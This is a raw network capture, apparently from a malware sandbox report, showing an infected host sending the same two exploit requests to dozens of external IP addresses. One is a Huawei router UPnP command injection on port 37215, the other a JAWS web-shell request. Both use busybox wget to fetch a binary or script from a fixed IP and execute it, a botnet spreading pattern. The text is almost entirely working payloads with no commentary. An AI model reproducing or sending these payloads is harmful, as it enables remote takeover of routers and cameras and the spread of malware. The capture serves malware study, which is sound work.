Jan 5, 2025 14:34:55.836563110 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.13	52840	192.5.111.66	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.837440014 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.13	34728	41.82.207.46	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.837970972 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.13	56372	85.66.186.124	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.838634968 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	38844	156.233.61.170	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.839155912 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	46928	43.81.231.176	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.839859962 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	38642	41.171.143.145	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.840442896 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	54926	36.247.60.108	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.841150045 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	34848	41.7.178.161	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.841671944 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	43882	143.206.192.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.842397928 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	34378	41.254.38.116	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.842921019 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	42380	104.36.217.230	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.843626976 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	52292	41.16.186.169	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.844115973 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	49444	110.68.47.188	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.844830990 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.13	60040	113.43.149.121	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.845782042 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.13	58776	51.175.132.128	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.846395016 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	59486	138.242.91.81	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.847045898 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	45310	197.26.207.114	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.861038923 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	42106	41.156.164.19	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.893136024 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	34814	156.27.80.89	37215

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:34:55.893783092 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 35 30 2e 36 32 2e 31 38 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope 